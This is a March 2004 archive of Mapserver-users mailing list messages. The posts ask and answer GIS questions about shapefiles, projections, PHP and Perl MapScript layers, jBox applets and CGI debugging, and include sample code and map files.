2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Tue, 9 Mar 2004 22:20:29 -0100 (GMT+1) Subject: [Mapserver-users] Map shapes ? {Scanned} In-Reply-To: <404E1B46.9080101@mezimail.com> Message-ID: Hi, On Tue, 9 Mar 2004, Romain Chantereau wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi ! > > I am wondering where I can find free shp, shx, (and dbf optionaly) files > from the world, politicaly only. > > Does somebody know a link, or page, or website, or owns files ? > http://arcdata.esri.com/data_downloader/DataDownloader?part=10200 or http://freegis.org/geo-data.en.html or http//www.cipotato.org/DIVA/data/MoreData.htm or ... > Thanks you very much, > - -- > Romain Chantereau > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (GNU/Linux) > > iD8DBQFAThtF9uawmXu5rjARArj6AJ9H855JkOm+czV7YMRr1sf/EzDNDgCfew+U > 3vHDxFxLUfHS3gb4MVRlgFI= > =L3fh > -----END PGP SIGNATURE----- > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From bfucile at mapwise.com Tue Mar 9 13:21:25 2004 From: bfucile at mapwise.com (Beth Fucile) Date: Tue, 9 Mar 2004 16:21:25 -0500 Subject: [Mapserver-users] zoom to a lat/long from another projection Message-ID: I am trying to create an input for the user to enter a latitude and longitude coordinate to zoom to. I had the idea that the way to accomplish this is to define an empty layer with the projection defined as "proj=latlong" and "ellps=GRS80", and to create the point inline with map__feature=new and then somehow zoom to that layer. Our map layers are in Albers projection, and I have defined the .map file's projection parameters based on the shapefile .prj's: PROJECTION "proj=aea" "ellps=GRS80" "lat_1=24" "lat_2=31.5" "lat_0=24" "lon_0=0" "x_0=400000" "y_0=0" END BUT I can't even begin to get this to work. The new feature is not showing up on the map when I just test setting a map__feature_point to a lat long coordinate within the current extent. I have 2 questions: 1. Can anyone suggest a better way to zoom to lat/long? 2. Any ideas on why my lat/long is not showing up? (if I zoom waaaay out so that my lat/long coordinate of -81 28 is a reasonable coordinate for the albers projection, and comment out the ad-hoc layer's PROJECTION info, the point will show up; so it seems to be a problem with the projection parameters) Thanks in advance for any ideas. Beth Fucile From webmaster at redmilenio.com Tue Mar 9 14:13:33 2004 From: webmaster at redmilenio.com (Thomas Shaw =?iso-8859-1?Q?Obreg=F3n?=) Date: Tue, 9 Mar 2004 17:13:33 -0500 (EST) Subject: [Mapserver-users] (2nd) Displaying a layer generated "on the fly" in a map Message-ID: <39660.148.235.127.52.1078870413.squirrel@209.183.220.9> (I'm sending this question for second time, to be sure it was sent successfuly to the mailing list) Hello, I'm now using mapserver4 and I have 3 layers in a map that I can pefectly visualize, the way I'm doing it is with the php-mapscript. Those 3 layers are in shp format, but I also have to generate a new layer with some data inserted in a data base. The DB has 3 fields (latitude,longitude,price). I read the DB record by record and I'm generating the layer 4 "on the Fly", when I finish it,I try to visualize it and it doesn't appears in the map, there only appears the first three layers. How can I do to visualize that 4rth layer in the map? I'll appreciate a lot if anyone can help me with this. Thank From abehere at cs.ucsd.edu Tue Mar 9 17:07:42 2004 From: abehere at cs.ucsd.edu (Amit S BEHERE) Date: Tue, 9 Mar 2004 17:07:42 -0800 (PST) Subject: [Mapserver-users] rotating symbols In-Reply-To: <39660.148.235.127.52.1078870413.squirrel@209.183.220.9> References: <39660.148.235.127.52.1078870413.squirrel@209.183.220.9> Message-ID: Hi all, I am revisiting a question I posed a few months ago. I understand that it is not possible to rotate symbols (Am I right?). I would like to know why ? It seems like a useful function. I was suggested a way in which I had to use true type fonts but I was able to use it at the very basic level only. Just to clarify, here is what I did to rotate my symbols 1. Created a custom font where letter A looked like my symbol. 2. Placed label "A" with my custom font on every symbol I wanted rotated. 3. Rotate my label "A". With this I was able to rotate basic symbols like black squares or plus signs and stuff. However I could not rotate say a complicated symbol with colors (say, a intricate company logo). So I wanted to ask can such stuff be done? The font method seems too hard. Is there another way? Or have I done something completely crazy (and wrong) and there is some other way to achive what I want. Amit Behere. UCSD. "Technology doesn't make your life more difficult or easy, it just changes the rules"......Vishwanathan Anand From delleske at vauban.de Tue Mar 9 23:49:20 2004 From: delleske at vauban.de (Andreas Delleske) Date: Wed, 10 Mar 2004 08:49:20 +0100 Subject: [Mapserver-users] How to check memory limits? Message-ID: <404ec8805f80a8.67715995@vauban.de> Hi there, I have successfully installed the debian packages of paulbaker.net unter Debian/sarge . To display shapefiles, the mapserver (4.0.1) works fine with Apache 1.3.29 . It seems to me if I want to process bigger files (or tiffs), the cgi hangs: I get the message "Error 500" and the Apache error log says: "Premature end of script headers" - no other messages in any logfile. I've looks into the mapserver docs, but could not find answers to the questions: - How can I turn on some more verbose logging? - Where are the limits (memory, time, ..) of the CGI coded oder configured? - Which way can I go to troubleshoot this? Thanks in advance... -- Gru? Andreas Delleske From stephane.morel at vanoise.com Tue Mar 9 23:53:47 2004 From: stephane.morel at vanoise.com (=?ISO-8859-1?Q?St=E9phane_MOREL?=) Date: Wed, 10 Mar 2004 08:53:47 +0100 Subject: [Mapserver-users] (2nd) Displaying a layer generated "on the fly" in a map References: <39660.148.235.127.52.1078870413.squirrel@209.183.220.9> Message-ID: <404EC98B.7030405@vanoise.com> I do something very similar to you. I query a database build a shapefile on the fly and add the shapefile to the mapfile. Here is a piece of code I use to do this $lyr_resultat ="/home/mysite/mapserver/carto_bdd/tmp/requete".session_id(); $lyr = ms_newLayerObj($gpoMap); $lyr->set("name","requete"); $lyr->set("type", MS_LAYER_POLYGON); $lyr->set("status", MS_ON); $lyr->set("data", $lyr_resultat); $lyr->set("transparency","50"); $lyr->setprojection("proj=longlat,ellps=clrk80,no_defs"); $lyr->set("group","Donn?es Galliformes"); $lyr->setmetadata("DESCRIPTION","Fiche(s) d'observation(s) s?lectionn?es"); $lyr->setmetadata("LYRNAME","R?sultats de la requ?te"); $lyr->setmetadata("RESULT_FIELDS","CODE_OBSE"); $lyr->setmetadata("CHP_BDD","CODE_OBSERVATION"); $class_lyr = ms_newclassobj($lyr); $class_lyr->set("name","donn?es Galliformes"); $class_lyr->set("color",$gpoMap->addColor(255,0,255)); I hope this could help St?phane Thomas Shaw Obreg?n wrote: >(I'm sending this question for second time, to be sure it was sent >successfuly to the mailing list) > > >Hello, I'm now using mapserver4 and I have 3 layers in a map that I can >pefectly visualize, the way I'm doing it is with the php-mapscript. Those >3 layers are in shp format, but I also have to generate a new layer with >some data inserted in a data base. The DB has 3 fields >(latitude,longitude,price). >I read the DB record by record and I'm generating the layer 4 "on the >Fly", when I finish it,I try to visualize it and it doesn't appears in the >map, there only appears the first three layers. How can I do to visualize >that 4rth layer in the map? > >I'll appreciate a lot if anyone can help me with this. >Thank > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > From irenutxa2000 at yahoo.es Wed Mar 10 00:39:40 2004 From: irenutxa2000 at yahoo.es (=?iso-8859-1?q?Irene=20P=E9rez?=) Date: Wed, 10 Mar 2004 09:39:40 +0100 (CET) Subject: [Mapserver-users] getextent in a file .TAB Message-ID: <20040310083940.46466.qmail@web41314.mail.yahoo.com> Hi, can you help me? I 'm using files mapinfo and I have a problem, because I'm trying get the extent of a layers, but i can't use getextent() because i have the next error to execute the next line: $shapeFileObj = ms_newShapeFileObj( "/home/ejemplos/data/municipios",-1) the error is: Warning: [MapServer Error]: msSHPOpenFile(): (/home/ejemplos/data/Municipios) in /home/ejemplos/html/click.inc.php on line 410 Fatal error: Failed to open shapefile /home/ejemplos/data/Municipios in /home/ejemplos/click.inc.php on line 410 Also when I've write the extension: $shapeFileObj = ms_newShapeFileObj( "/home/ejemplos/data/municipios.tab",-1) in my map file, i have: LAYER NAME "Municipios" TYPE POLYGON CONNECTIONTYPE OGR CONNECTION "/home/ejemplos/data/municipios.TAB" STATUS OFF CLASS COLOR 255 244 208 OUTLINECOLOR 0 0 0 TEMPLATE "template.html" END END How can i get the extent, please? Thanks. ___________________________________________________ Yahoo! Messenger - Nueva versi?n GRATIS Super Webcam, voz, caritas animadas, y m?s... http://messenger.yahoo.es From listen at superbla.net Wed Mar 10 03:18:05 2004 From: listen at superbla.net (joerg pfeiffer) Date: Wed, 10 Mar 2004 12:18:05 +0100 Subject: [Mapserver-users] gps to map Message-ID: <000001c40691$5cea2590$fa4c863e@DELL> Hello, i looked up the archive but can?t find a solution: I just would like to store gps waypoint in a database and print it in my map. Is there somewhere an example for php mapscript or just for a map file? Thanks Joerg From webloper at infogeo.ch Wed Mar 10 03:50:46 2004 From: webloper at infogeo.ch (forum box) Date: Wed, 10 Mar 2004 12:50:46 +0100 Subject: [Mapserver-users] Adding/deleting points in shape files Message-ID: <138500-220043310115046288@infogeo.ch> Hi the list, I've developed a tool with php/mapscript that enable the possibilty to create a new point object in a shape file when the user clicks the map. I wanted to know if it's possible to create a tool that erases a point object in a shape file. I did not see a method in mapscript to do that. Does anyone has a clue?? thanks in advance! R?my From sli1 at uni-forst.gwdg.de Wed Mar 10 05:25:43 2004 From: sli1 at uni-forst.gwdg.de (Shiming Li) Date: Wed, 10 Mar 2004 14:25:43 +0100 Subject: [Mapserver-users] JBox with Mozilla 1.6, Load java applet faild Message-ID: <404F1757.6080108@uni-forst.gwdg.de> I tried to implement the zoom-box with the jBox, but it shows grey color in the image area. There is a message showed in the status bar: Loading Java Applet failed. Following http://mapserver.gis.umn.edu/doc40/jbox-howto.html. 1) inserted 2) change the line to inserted the line 3) replace output map image defination with the following The directory of the lib and the jBox* files can be accessable and executed by all persons. I had installed the Java SDK 1.4.2, other information Mozilla 1.6, SuSE linux, MapServer 4.01. Is there something wrong? Regards, karl From jhart at frw.uva.nl Wed Mar 10 06:18:20 2004 From: jhart at frw.uva.nl (Jan Hartmann) Date: Wed, 10 Mar 2004 15:18:20 +0100 Subject: [Mapserver-users] MapServer in the media Message-ID: <404F23AC.3000107@frw.uva.nl> On the Geman MapServer list someone pointed to a somewhat negative article on Open Source Gis in general and MapServer in particular. The German version is at: http://typo3.brunomedia.com/index.php?427/ and a Google tranlation can be had at: http://translate.google.com/translate?u=http%3A%2F%2Ftypo3.brunomedia.com%2Findex.php%3F427%2F&langpair=de%7Cen&hl=en&ie=UTF8&oe=UTF8 The translation is in he usual funny Google-English, but it is quite understandable (the joke in the second last column is pure Monty Python however). Of course Frau Kneipe's arguments are fake, but it is interesting to see how MapServer is regarded (and feared) "at the other side". Have fun, Jan PS Of course this is just the personal opinion of someone working in the "universitaeren vapor circle" From rich at greenwoodmap.com Wed Mar 10 06:24:03 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Wed, 10 Mar 2004 07:24:03 -0700 Subject: [Mapserver-users] JBox with Mozilla 1.6, Load java applet faild In-Reply-To: <404F1757.6080108@uni-forst.gwdg.de> References: <404F1757.6080108@uni-forst.gwdg.de> Message-ID: <404F2503.10604@greenwoodmap.com> Shiming Li wrote: > I tried to implement the zoom-box with the jBox, but it shows grey > color in the image area. There is a message showed in the status bar: > Loading Java Applet failed. > Following http://mapserver.gis.umn.edu/doc40/jbox-howto.html. > 1) inserted > > 2) change the line to > inserted the line > 3) replace output map image defination with the following > > > codebase="/usr/local/apache2/htdocs/titasca/java/mapplet/lib" > code="jBoxPNG.class" > archive="jBoxPNG.jar,png.jar" > width="600" > height="600" > name="jBoxPNG" > MAYSCRIPT> > > > The directory of the lib and the jBox* files can be > accessable and executed by all persons. > > I had installed the Java SDK 1.4.2, other information Mozilla 1.6, SuSE > linux, MapServer 4.01. > > Is there something wrong? > > Regards, > karl Try another site e.g. www2.tetonwyo.org/mapserver to see if Java is working with your browser, or if there is a problem with your server side implementation. Or try a different browser and/or platform with your implementation. I notice that your are using the PNG version. Do you have the sixlegs class library in place? And are you creating PNGs in your .map file? Are they being written in your tmp directory? On your system (with JRE 1.4.x) sixlegs is not required to render PNG's, so try instead just using jBox rather than jBoxPNG. There are problems with JRE 1.4.2 with Mozilla and Firefox (see http://plugindoc.mozdev.org/) and I would recommend 1.4.1. However, on the systems I have tested, the problem does not prevent an initial map from displaying. Nor does it cause an "unable to load applet" error message. Regards, -- Richard Greenwood www.greenwoodmap.com From eric at gomoos.org Wed Mar 10 06:32:35 2004 From: eric at gomoos.org (Eric Bridger) Date: 10 Mar 2004 09:32:35 -0500 Subject: [Mapserver-users] gps to map In-Reply-To: <000001c40691$5cea2590$fa4c863e@DELL> References: <000001c40691$5cea2590$fa4c863e@DELL> Message-ID: <1078929161.3907.2.camel@ubet.gomoos.org> Have you checked the Mapserver PHP Wiki? http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PHPMapScript There is a Perl mapscript example which does this and could be adapted for PHP. There's a map file included also. http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex19 On Wed, 2004-03-10 at 06:18, joerg pfeiffer wrote: > Hello, > > i looked up the archive but can?t find a solution: > I just would like to store gps waypoint in a database and print it in my > map. Is there somewhere an example for php mapscript or just for a map > file? > > Thanks > Joerg > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From dmorissette at dmsolutions.ca Wed Mar 10 07:13:17 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 10 Mar 2004 10:13:17 -0500 Subject: [Mapserver-users] getextent in a file .TAB In-Reply-To: <20040310083940.46466.qmail@web41314.mail.yahoo.com> References: <20040310083940.46466.qmail@web41314.mail.yahoo.com> Message-ID: <404F308D.3070809@dmsolutions.ca> Irene P?rez wrote: > Hi, can you help me? > I 'm using files mapinfo and I have a problem, because > I'm trying get the extent of a layers, but i can't use > getextent() because i have the next error to execute > the next line: > > $shapeFileObj = ms_newShapeFileObj( > "/home/ejemplos/data/municipios",-1) > The shapefileObj is for shapefiles only. It won't work for OGR or any other data source. > > How can i get the extent, please? > You can use the 'ogrinfo' tool that comes with GDAL/OGR, e.g. ogrinfo -so /home/ejemplos/data/municipios.TAB municipios For more info on 'ogrinfo', see: http://ogr.maptools.org/ogr_utilities.html Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Andrew.Simpson at ssc.nasa.gov Wed Mar 10 07:29:17 2004 From: Andrew.Simpson at ssc.nasa.gov (Simpson, Andrew) Date: Wed, 10 Mar 2004 09:29:17 -0600 Subject: [Mapserver-users] Perl Mapscript Dynamic Layer Rendering in 4.01 Message-ID: <7F086B24179D91449EDA19F5FC928D0B01F2719B@sscleda2.ssc.nasa.gov> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C406B2.08E80BD4 Content-Type: text/plain Greetings, We are migrating from MS 3.6.5 to MS 4.01 on a Linux Redhat server. Using the migration guide, updated the code where necessary (mainly the styles object changes). Does anyone have any ideas why the DrawPolygon() function below renders fine, but the DrawLine() function does not? The image is rendered with a scalebar, but vector missing. I also tried a DrawPoint with no success. Please put me out of my misery! Thanks, Drew. ================= start script ====================== #!/usr/bin/perl use mapscript; $map = new mapscript::mapObj("test_map.map") || die "Couldn't instantiate map object:$!
\n"; $img = $map->prepareImage(); #DrawPolygon(); DrawLine(); $map->draw(); $map->drawLabelCache($img); $outfile = 'mapgen.'.time.'.png'; $img->save($outfile); exit; sub DrawLine { $layer = new mapscript::layerObj($map); $layer->{name} = $name; $layer->{type} = $mapscript::MS_LAYER_LINE; $layer->{symbolscale} = 1000; # The scale at which symbols and/or text appear full size. $layer->{minscale} = 1; $layer->{labelcache} = $mapscript::MS_ON; $layer->{labelmaxscale} = 50000; $class = new mapscript::classObj($layer); $class->{numstyles} = 1; $class->{styles}->{minsize} = 40; $class->{styles}->{maxsize} = 40; $class->{styles}->{size} = 40; $class->{styles}->{symbol} = 7; $class->{styles}->{color}->{red} = 255; $class->{styles}->{color}->{green} = 255; $class->{styles}->{color}->{blue} = 255; $class->{styles}->{outlinecolor}->{red} = 255; $class->{styles}->{outlinecolor}->{green} = 0; $class->{styles}->{outlinecolor}->{blue} = 0; $class->{label}->{color}->{red} = 0; $class->{label}->{color}->{green} = 255; $class->{label}->{color}->{blue} = 255; $class->{label}->{font} = 'arialbd'; $class->{label}->{type} = $mapscript::MS_TRUETYPE; $class->{label}->{size} = 7; $class->{label}->{minsize} = 7; $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE ); $line = new mapscript::lineObj(); $point = new mapscript::pointObj(); #EXTENT 388553.951505 3166053.063199 914513.202293 3691701.38882 $point->{x} = 400000.000000; $point->{y} = 3200000.000000; $line->add($point); $point->{x} = 900000.000000; $point->{y} = 3600000.000000; $line->add($point); $shape->add($line); $shape->{text} = "TEST"; $shape->draw($map,$layer,$img); $layer->draw($map, $img); undef $layer; } sub DrawPolygon { $layer = new mapscript::layerObj($map); $layer->{name} = $name; $layer->{type} = $mapscript::MS_LAYER_POLYGON; $layer->{symbolscale} = 1000; # The scale at which symbols and/or text appear full size. $layer->{minscale} = 1; $layer->{labelcache} = $mapscript::MS_ON; $layer->{labelmaxscale} = 50000; $class = new mapscript::classObj($layer); $class->{numstyles} = 1; $class->{styles}->{minsize} = 4; $class->{styles}->{maxsize} = 4; $class->{styles}->{size} = 4; $class->{styles}->{symbol} = 7; $class->{styles}->{color}->{red} = 255; $class->{styles}->{color}->{green} = 255; $class->{styles}->{color}->{blue} = 255; $class->{styles}->{outlinecolor}->{red} = 255; $class->{styles}->{outlinecolor}->{green} = 0; $class->{styles}->{outlinecolor}->{blue} = 0; $class->{label}->{color}->{red} = 0; $class->{label}->{color}->{green} = 255; $class->{label}->{color}->{blue} = 255; $class->{label}->{font} = 'arialbd'; $class->{label}->{type} = $mapscript::MS_TRUETYPE; $class->{label}->{size} = 7; $class->{label}->{minsize} = 7; $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_POLYGON ); $line = new mapscript::lineObj(); $point = new mapscript::pointObj(); #EXTENT 388553.951505 3166053.063199 914513.202293 3691701.38882 $point->{x} = 400000.000000; $point->{y} = 3200000.000000; $line->add($point); $point->{x} = 900000.000000; $point->{y} = 3200000.000000; $line->add($point); $point->{x} = 900000.000000; $point->{y} = 3600000.000000; $line->add($point); $point->{x} = 400000.000000; $point->{y} = 3600000.000000; $line->add($point); $point->{x} = 400000.000000; $point->{y} = 3200000.000000; $line->add($point); $shape->add($line); $shape->{text} = "TEST"; $shape->draw($map,$layer,$img); $layer->draw($map, $img); undef $layer; } ====================== end script ====================================== ====================== start map ======================================= # Start of map file # NAME DYN_TEST STATUS ON SIZE 600 600 FONTSET /var/fonts/font_sets SYMBOLSET /var/symbols/symbolset.sym EXTENT 388553.951505 3166053.063199 914513.202293 3691701.38882 UNITS meters SHAPEPATH "shapes" IMAGECOLOR 0 0 0 PROJECTION "proj=utm" "zone=15" "ellps=GRS80" "datum=NAD83" "units=m" END # # Start of web interface definition # WEB HEADER dipx_header.html TEMPLATE dipx.html MINSCALE 1000 MAXSCALE 100000000 IMAGEPATH "/var/www/html/scratch/" IMAGEURL "/scratch/" LOG "/var/log/mapserver/mapserv.log" END # # Start of reference map # REFERENCE IMAGE ref_base_zone_15.png EXTENT 388553.951505 3166053.063199 914513.202293 3691701.38882 SIZE 120 120 STATUS ON COLOR 255 255 255 OUTLINECOLOR 255 0 0 END # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON END # # Start of scalebar # SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 0 0 0 SIZE SMALL END SIZE 350 5 COLOR 255 255 255 BACKGROUNDCOLOR 0 0 0 OUTLINECOLOR 0 0 0 UNITS MILES INTERVALS 5 STATUS EMBED END # # Start of layer definitions # END # Map File # ======================= end map ========================= ------_=_NextPart_001_01C406B2.08E80BD4 Content-Type: text/html

Greetings,

 

We are migrating from MS  3.6.5 to MS 4.01 on a Linux Redhat server.

 

Using the migration guide, updated the code where necessary (mainly the styles object changes).

 

Does anyone have any ideas why the DrawPolygon() function below renders fine, but the DrawLine() function does not?

 

The image is rendered with a scalebar, but vector missing.

 

I also tried a DrawPoint with no success.

 

Please put me out of my misery!

 

Thanks,

Drew.

 

 

 

 

 

 

 

 

 

=================  start script ======================

 

#!/usr/bin/perl

 

use mapscript;

 

$map = new mapscript::mapObj("test_map.map") || die "Couldn't instantiate map object:$!<br>\n";

 

$img = $map->prepareImage();

 

#DrawPolygon();

 

DrawLine();

 

$map->draw();

 

$map->drawLabelCache($img);

 

$outfile = 'mapgen.'.time.'.png';

$img->save($outfile);

 

exit;

 

sub DrawLine

{

    $layer = new mapscript::layerObj($map);

    $layer->{name} = $name;

    $layer->{type} = $mapscript::MS_LAYER_LINE;

    $layer->{symbolscale}   = 1000; # The scale at which symbols and/or text appear full size.

    $layer->{minscale}      = 1;

    $layer->{labelcache}    = $mapscript::MS_ON;

    $layer->{labelmaxscale} = 50000;

 

    $class = new mapscript::classObj($layer);       

    $class->{numstyles} = 1;

 

    $class->{styles}->{minsize} = 40;

    $class->{styles}->{maxsize} = 40;

    $class->{styles}->{size}    = 40;

    $class->{styles}->{symbol}  = 7;

 

    $class->{styles}->{color}->{red} = 255;

    $class->{styles}->{color}->{green} = 255;

    $class->{styles}->{color}->{blue} = 255;

 

    $class->{styles}->{outlinecolor}->{red} = 255;

    $class->{styles}->{outlinecolor}->{green} = 0;

    $class->{styles}->{outlinecolor}->{blue} = 0;

 

    $class->{label}->{color}->{red} = 0;

    $class->{label}->{color}->{green} = 255;

    $class->{label}->{color}->{blue} = 255;

    $class->{label}->{font} = 'arialbd';

    $class->{label}->{type} = $mapscript::MS_TRUETYPE;

    $class->{label}->{size} = 7;

    $class->{label}->{minsize} = 7;

 

    $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE );

 

    $line = new mapscript::lineObj();

       

    $point = new mapscript::pointObj();

 

    #EXTENT 388553.951505 3166053.063199 914513.202293 3691701.38882

 

    $point->{x} = 400000.000000;

    $point->{y} = 3200000.000000;

    $line->add($point);

   

    $point->{x} = 900000.000000;

    $point->{y} = 3600000.000000;

    $line->add($point);

       

    $shape->add($line);

 

    $shape->{text} = "TEST";

 

    $shape->draw($map,$layer,$img);

 

    $layer->draw($map, $img);

 

    undef $layer;

 

}

 

 

sub DrawPolygon

{

    $layer = new mapscript::layerObj($map);

    $layer->{name} = $name;

    $layer->{type} = $mapscript::MS_LAYER_POLYGON;

    $layer->{symbolscale}   = 1000; # The scale at which symbols and/or text appear full size.

    $layer->{minscale}      = 1;

    $layer->{labelcache}    = $mapscript::MS_ON;

    $layer->{labelmaxscale} = 50000;

 

    $class = new mapscript::classObj($layer);       

    $class->{numstyles} = 1;

 

    $class->{styles}->{minsize} = 4;

    $class->{styles}->{maxsize} = 4;

    $class->{styles}->{size}    = 4;

    $class->{styles}->{symbol}  = 7;

 

    $class->{styles}->{color}->{red} = 255;

    $class->{styles}->{color}->{green} = 255;

    $class->{styles}->{color}->{blue} = 255;

 

    $class->{styles}->{outlinecolor}->{red} = 255;

    $class->{styles}->{outlinecolor}->{green} = 0;

    $class->{styles}->{outlinecolor}->{blue} = 0;

 

    $class->{label}->{color}->{red} = 0;

    $class->{label}->{color}->{green} = 255;

    $class->{label}->{color}->{blue} = 255;

    $class->{label}->{font} = 'arialbd';

    $class->{label}->{type} = $mapscript::MS_TRUETYPE;

    $class->{label}->{size} = 7;

    $class->{label}->{minsize} = 7;

 

    $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_POLYGON );

 

    $line = new mapscript::lineObj();

       

    $point = new mapscript::pointObj();

 

    #EXTENT 388553.951505 3166053.063199 914513.202293 3691701.38882

 

    $point->{x} = 400000.000000;

    $point->{y} = 3200000.000000;

    $line->add($point);

    $point->{x} = 900000.000000;

    $point->{y} = 3200000.000000;

    $line->add($point);

    $point->{x} = 900000.000000;

    $point->{y} = 3600000.000000;

    $line->add($point);

    $point->{x} = 400000.000000;

    $point->{y} = 3600000.000000;

    $line->add($point);

    $point->{x} = 400000.000000;

    $point->{y} = 3200000.000000;

    $line->add($point);

       

    $shape->add($line);

 

    $shape->{text} = "TEST";

 

    $shape->draw($map,$layer,$img);

 

    $layer->draw($map, $img);

 

    undef $layer;

 

}

 

 

======================  end script ======================================

 

 

 

====================== start map =======================================

 

# Start of map file

#

NAME DYN_TEST

STATUS ON

SIZE 600 600

FONTSET /var/fonts/font_sets

SYMBOLSET /var/symbols/symbolset.sym

EXTENT 388553.951505 3166053.063199 914513.202293 3691701.38882

UNITS meters

SHAPEPATH "shapes"

IMAGECOLOR 0 0 0

 

PROJECTION

  "proj=utm"

  "zone=15"

  "ellps=GRS80"

  "datum=NAD83"

  "units=m"

END

 

#

# Start of web interface definition

#

WEB

  HEADER dipx_header.html

  TEMPLATE dipx.html

  MINSCALE 1000

  MAXSCALE 100000000

  IMAGEPATH "/var/www/html/scratch/"

  IMAGEURL "/scratch/"

  LOG "/var/log/mapserver/mapserv.log"

END

 

#

# Start of reference map

#

REFERENCE

  IMAGE ref_base_zone_15.png

  EXTENT 388553.951505 3166053.063199 914513.202293 3691701.38882

  SIZE 120 120

  STATUS ON

  COLOR 255 255 255

  OUTLINECOLOR 255 0 0

END

 

#

# Start of legend

#

LEGEND

  KEYSIZE 18 12

  LABEL

    TYPE BITMAP

    SIZE MEDIUM

    COLOR 0 0 89

  END

  STATUS ON

END

 

#

# Start of scalebar

#

SCALEBAR

  IMAGECOLOR 255 255 255

  LABEL

    COLOR 0 0 0

    SIZE SMALL

  END

  SIZE 350 5

  COLOR 255 255 255

  BACKGROUNDCOLOR 0 0 0

  OUTLINECOLOR 0 0 0

  UNITS MILES

  INTERVALS 5

  STATUS EMBED

END

 

#

# Start of layer definitions

#

 

 

END # Map File

#

 

 

=======================  end map =========================

------_=_NextPart_001_01C406B2.08E80BD4-- From lfilak at medinaco.org Wed Mar 10 07:42:14 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Wed, 10 Mar 2004 10:42:14 -0500 Subject: [Mapserver-users] How to check memory limits? Message-ID: <20040310154208.76D0C1A6599@mail.medinaco.org> Hello Andreas; A couple of suggestions follow inline. HTH Lowell The following message was sent by delleske at vauban.de (Andreas Delleske) on Wed, 10 Mar 2004 08:49:20 +0100. > Hi there, > > I have successfully installed the debian packages of paulbaker.net unter Debian/sarge . To display shapefiles, the mapserver (4.0.1) works fine with Apache 1.3.29 . > > It seems to me if I want to process bigger files (or tiffs), the cgi hangs: I get the message "Error 500" and the Apache error log says: "Premature end of script headers" - no other messages in any logfile. > > I've looks into the mapserver docs, but could not find answers to the questions: > > - How can I turn on some more verbose logging? http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?DebuggingMapserver > - Where are the limits (memory, time, ..) of the CGI coded oder configured? In the httpd.conf under Timeout. > - Which way can I go to troubleshoot this? > > Thanks in advance... > -- > Gru? > Andreas Delleske > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jhart at frw.uva.nl Wed Mar 10 09:18:56 2004 From: jhart at frw.uva.nl (Jan Hartmann) Date: Wed, 10 Mar 2004 18:18:56 +0100 Subject: [Mapserver-users] article about Open Gis Consortium Message-ID: <404F4E00.9010004@frw.uva.nl> Hello list, Michael Schultz (mschultz at webgis.de) posted a pointer to a very illuminating article about the Open Gis Consortium on the German list: http://www.directionsmag.com/article.php?article_id=455 There is much information in there that I didn't know before, and as matters of OGC-compliance are frequently discussed here, I forward it to this list. Jan From sctweedy at NRCan.gc.ca Wed Mar 10 09:25:41 2004 From: sctweedy at NRCan.gc.ca (Tweedy, Scott) Date: Wed, 10 Mar 2004 12:25:41 -0500 Subject: [Mapserver-users] article about Open Gis Consortium Message-ID: <3E3C279AF3F9D411BAA00002A529150E07BB79AD@S0-OTT-X10.NRCan.gc.ca> In all fairness, here is one of the many rebuttals to David Sonnen's article: http://www.directionsmag.com/article.php?article_id=454 -----Original Message----- From: Jan Hartmann [mailto:jhart at frw.uva.nl] Sent: Wednesday, March 10, 2004 12:19 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] article about Open Gis Consortium Hello list, Michael Schultz (mschultz at webgis.de) posted a pointer to a very illuminating article about the Open Gis Consortium on the German list: http://www.directionsmag.com/article.php?article_id=455 There is much information in there that I didn't know before, and as matters of OGC-compliance are frequently discussed here, I forward it to this list. Jan _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Andrew.Simpson at ssc.nasa.gov Wed Mar 10 10:13:55 2004 From: Andrew.Simpson at ssc.nasa.gov (Simpson, Andrew) Date: Wed, 10 Mar 2004 12:13:55 -0600 Subject: [Mapserver-users] Perl Mapscript Dynamic Layer Rendering in 4 .01 Message-ID: <7F086B24179D91449EDA19F5FC928D0B01F2719C@sscleda2.ssc.nasa.gov> No messages in the MS_ERRORFILE. -----Original Message----- From: Lowell Filak [mailto:lfilak at medinaco.org] Sent: Wednesday, March 10, 2004 11:13 AM To: Simpson, Andrew; 'mapserver-users at lists.gis.umn.edu' Subject: Re: [Mapserver-users] Perl Mapscript Dynamic Layer Rendering in 4.01 Does turning on debugging help narrow the search? $ENV{MS_ERRORFILE} = "/var/log/mapserver.log"; # map engine error log Lowell The following message was sent by "Simpson, Andrew" on Wed, 10 Mar 2004 09:29:17 -0600. > Greetings, > > > > We are migrating from MS 3.6.5 to MS 4.01 on a Linux Redhat server. > > > > Using the migration guide, updated the code where necessary (mainly the > styles object changes). > > > > Does anyone have any ideas why the DrawPolygon() function below renders > fine, but the DrawLine() function does not? 